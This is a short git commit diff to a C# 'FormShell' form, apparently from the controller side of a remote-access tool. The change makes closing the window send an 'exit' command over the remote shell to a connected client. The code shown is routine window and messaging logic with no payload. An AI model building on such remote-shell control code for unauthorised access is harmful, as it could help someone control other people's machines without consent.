force to close

This commit is contained in:
NYAN CAT 2019-12-01 06:42:59 +03:00
parent c24ea61af7
commit 154f4b4123

View File

@ -33,11 +33,9 @@ namespace Server.Forms
{
richTextBox1.Clear();
textBox1.Clear();
return;
}
if (textBox1.Text == "exit".ToLower())
{
ExitShell();
this.Close();
}
MsgPack msgpack = new MsgPack();
@ -50,8 +48,10 @@ namespace Server.Forms
private void FormShell_FormClosed(object sender, FormClosedEventArgs e)
{
ExitShell();
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "shellWriteInput";
msgpack.ForcePathObject("WriteInput").AsString = "exit";
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
}
private void Timer1_Tick(object sender, EventArgs e)
@ -62,14 +62,5 @@ namespace Server.Forms
}
catch { this.Close(); }
}
private void ExitShell()
{
try
{
Client?.Disconnected();
}
catch { }
}
}
}